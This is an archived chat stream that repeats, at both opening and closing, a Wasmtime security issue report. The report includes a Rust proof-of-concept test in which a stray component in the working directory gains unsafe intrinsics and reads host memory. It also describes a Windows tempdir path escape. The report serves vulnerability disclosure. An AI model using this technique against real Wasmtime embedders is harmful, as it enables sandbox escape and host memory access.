Stream: git-wasmtime

Topic: wasmtime / issue #15024 Compile-time builtin composition ...


view this post on Zulip Wasmtime GitHub notifications bot (Oct 27 2026 at 09:07):

dyslexicsteak opened issue #15024:

Test Case & Steps to Reproduce

Create a Cargo package using Wasmtime with default features and the wat crate at version 1.262.0. Place the following test file in the tests directory and run with cargo test.

use std::{
    env::current_dir,
    fs::{remove_file, write},
    path::Path,
};

use wasmtime::{
    CodeBuilder, Engine, Result, Store,
    component::{Component, Linker},
};
use wat::parse_str;

#[test]
fn stray_cwd_component_gets_intrinsics() -> Result<()> {
    const NAME: &str = "escape-probe";

    // The stray component that imports the unsafe intrinsics and reads a byte
    // of the host's store data using them
    const STRAY: &str = r#"
        (component
            (import "unsafe-intrinsics"
                (instance $intrinsics
                    (export "store-data-address" (func (result u64)))
                    (export "u8-native-load" (func (param "pointer" u64) (result u8)))
                )
            )

            (core func $sda (canon lower (func $intrinsics "store-data-address")))
            (core func $load (canon lower (func $intrinsics "u8-native-load")))

            (core module $m
                (import "" "sda" (func $sda (result i64)))
                (import "" "load" (func $load (param i64) (result i32)))

                (func (export "get") (result i32) (call $load (call $sda)))
            )

            (core instance $i (instantiate $m (with "" (instance
                (export "sda" (func $sda)) (export "load" (func $load))))))

            (func (export "get") (result u32) (canon lift (core func $i "get")))
        )
    "#;

    // The guest that imports the embedder's built-in and, by its own choice, an
    // instance named NAME
    let guest = format!(
        r#"
        (component
            (import "host-api" (instance))
            (import "{NAME}" (instance $x (export "get" (func (result u32)))))

            (core func $get (canon lower (func $x "get")))

            (core module $m
                (import "" "get" (func $get (result i32)))
                (func (export "run") (result i32) (call $get))
            )

            (core instance $i (instantiate $m (with "" (instance (export "get" (func $get))))))

            (func (export "run") (result u32) (canon lift (core func $i "run")))
        )
    "#
    );

    // Write the stray component to the current dir
    let path = current_dir()?.join(format!("{NAME}.wasm"));
    write(&path, parse_str(STRAY)?)?;

    // Make the engine, compile, and expose intrinsics to a built-in
    let engine = Engine::default();
    let result = (|| -> Result<Component> {
        unsafe {
            CodeBuilder::new(&engine)
                .expose_unsafe_intrinsics("unsafe-intrinsics")
                .compile_time_builtins_binary_or_text("host-api", b"(component)", None)?
                .wasm_binary_or_text(guest.as_bytes(), Some(Path::new("guest.wat")))?
                .compile_component()
        }
    })();

    // Clean up the stray component file before ?
    let _ = remove_file(&path);
    let component = result?;

    // Show the import going away, satisfied
    let imports: Vec<String> = component
        .component_type()
        .imports(&engine)
        .map(|(n, _)| n.to_string())
        .collect();
    println!("composed component imports: {imports:?}");

    // Instantiate the guest and store our byte
    let linker = Linker::new(&engine);
    let mut store = Store::new(&engine, 0xA5_u8);
    let instance = linker.instantiate(&mut store, &component)?;

    // Run the guest and retrieve the value it read from the host's store data
    let (value,) = instance
        .get_typed_func::<(), (u32,)>(&mut store, "run")?
        .call(&mut store, ())?;

    println!("guest read: {value:#x}");

    assert_eq!(value, 0xA5, "stray component didn't read host memory");

    Ok(())
}

Expected Results

The stray file is ignored and the import remains unsatisfied, preserving the integrity of the trusted compute base and eventually causing the test to fail.

Actual Results

The current working directory is used as a search path to satisfy imports, which are then composed with compile-time built-ins with the same standing, granting them the ability to import Wasmtime unsafe intrinsics and thus full memory R/W of the host, reading from the store and passing the test.

There are also various other side effects and interactions, for example, a temporary filesystem directory is also used during composition to read and write intermediate artifacts by their name. Because interfaces are usually shaped "ns:pkg/if@ver", this results in OS errors on Windows due to the colon in the path. This is also problematic on both Linux and Windows due to the / in the path. Versions with dot-separated segments get their last segment chopped off as a file extension, so "ns:pkg/if@1.0.0" and "ns:pkg/if@1.0.1" are indistinguishable. This also has the consequence of single-letter namespaces being drive letters on Windows, allowing escape of the tempdir.

Versions and Environment

Wasmtime version or commit: ec63b69f3da9783db784eef6ba67635385926a2a

Operating system: Windows

Architecture: AMD64

Extra Info

This issue has security implications and affects versions of Wasmtime >=39.0.0 as of time of writing, namely, embedders actively using compile-time built-ins and unsafe intrinsics. These features are not considered tier 1 and so bugs in them do not get a standard security response from Wasmtime. I encourage embedders to audit their code.

view this post on Zulip Wasmtime GitHub notifications bot (Oct 27 2026 at 09:07):

dyslexicsteak added the bug label to Issue #15024.

view this post on Zulip Wasmtime GitHub notifications bot (Oct 28 2026 at 15:13):

fitzgen closed issue #15024:

Test Case & Steps to Reproduce

Create a Cargo package using Wasmtime with default features and the wat crate at version 1.262.0. Place the following test file in the tests directory and run with cargo test.

use std::{
    env::current_dir,
    fs::{remove_file, write},
    path::Path,
};

use wasmtime::{
    CodeBuilder, Engine, Result, Store,
    component::{Component, Linker},
};
use wat::parse_str;

#[test]
fn stray_cwd_component_gets_intrinsics() -> Result<()> {
    const NAME: &str = "escape-probe";

    // The stray component that imports the unsafe intrinsics and reads a byte
    // of the host's store data using them
    const STRAY: &str = r#"
        (component
            (import "unsafe-intrinsics"
                (instance $intrinsics
                    (export "store-data-address" (func (result u64)))
                    (export "u8-native-load" (func (param "pointer" u64) (result u8)))
                )
            )

            (core func $sda (canon lower (func $intrinsics "store-data-address")))
            (core func $load (canon lower (func $intrinsics "u8-native-load")))

            (core module $m
                (import "" "sda" (func $sda (result i64)))
                (import "" "load" (func $load (param i64) (result i32)))

                (func (export "get") (result i32) (call $load (call $sda)))
            )

            (core instance $i (instantiate $m (with "" (instance
                (export "sda" (func $sda)) (export "load" (func $load))))))

            (func (export "get") (result u32) (canon lift (core func $i "get")))
        )
    "#;

    // The guest that imports the embedder's built-in and, by its own choice, an
    // instance named NAME
    let guest = format!(
        r#"
        (component
            (import "host-api" (instance))
            (import "{NAME}" (instance $x (export "get" (func (result u32)))))

            (core func $get (canon lower (func $x "get")))

            (core module $m
                (import "" "get" (func $get (result i32)))
                (func (export "run") (result i32) (call $get))
            )

            (core instance $i (instantiate $m (with "" (instance (export "get" (func $get))))))

            (func (export "run") (result u32) (canon lift (core func $i "run")))
        )
    "#
    );

    // Write the stray component to the current dir
    let path = current_dir()?.join(format!("{NAME}.wasm"));
    write(&path, parse_str(STRAY)?)?;

    // Make the engine, compile, and expose intrinsics to a built-in
    let engine = Engine::default();
    let result = (|| -> Result<Component> {
        unsafe {
            CodeBuilder::new(&engine)
                .expose_unsafe_intrinsics("unsafe-intrinsics")
                .compile_time_builtins_binary_or_text("host-api", b"(component)", None)?
                .wasm_binary_or_text(guest.as_bytes(), Some(Path::new("guest.wat")))?
                .compile_component()
        }
    })();

    // Clean up the stray component file before ?
    let _ = remove_file(&path);
    let component = result?;

    // Show the import going away, satisfied
    let imports: Vec<String> = component
        .component_type()
        .imports(&engine)
        .map(|(n, _)| n.to_string())
        .collect();
    println!("composed component imports: {imports:?}");

    // Instantiate the guest and store our byte
    let linker = Linker::new(&engine);
    let mut store = Store::new(&engine, 0xA5_u8);
    let instance = linker.instantiate(&mut store, &component)?;

    // Run the guest and retrieve the value it read from the host's store data
    let (value,) = instance
        .get_typed_func::<(), (u32,)>(&mut store, "run")?
        .call(&mut store, ())?;

    println!("guest read: {value:#x}");

    assert_eq!(value, 0xA5, "stray component didn't read host memory");

    Ok(())
}

Expected Results

The stray file is ignored and the import remains unsatisfied, preserving the integrity of the trusted compute base and eventually causing the test to fail.

Actual Results

The current working directory is used as a search path to satisfy imports, which are then composed with compile-time built-ins with the same standing, granting them the ability to import Wasmtime unsafe intrinsics and thus full memory R/W of the host, reading from the store and passing the test.

There are also various other side effects and interactions, for example, a temporary filesystem directory is also used during composition to read and write intermediate artifacts by their name. Because interfaces are usually shaped "ns:pkg/if@ver", this results in OS errors on Windows due to the colon in the path. This is also problematic on both Linux and Windows due to the / in the path. Versions with dot-separated segments get their last segment chopped off as a file extension, so "ns:pkg/if@1.0.0" and "ns:pkg/if@1.0.1" are indistinguishable. This also has the consequence of single-letter namespaces being drive letters on Windows, allowing escape of the tempdir.

Versions and Environment

Wasmtime version or commit: ec63b69f3da9783db784eef6ba67635385926a2a

Operating system: Windows

Architecture: AMD64

Extra Info

This issue has security implications and affects versions of Wasmtime >=39.0.0 as of time of writing, namely, embedders actively using compile-time built-ins and unsafe intrinsics. These features are not considered tier 1 and so bugs in them do not get a standard security response from Wasmtime. I encourage embedders to audit their code.


Last updated: Oct 31 2026 at 23:03 UTC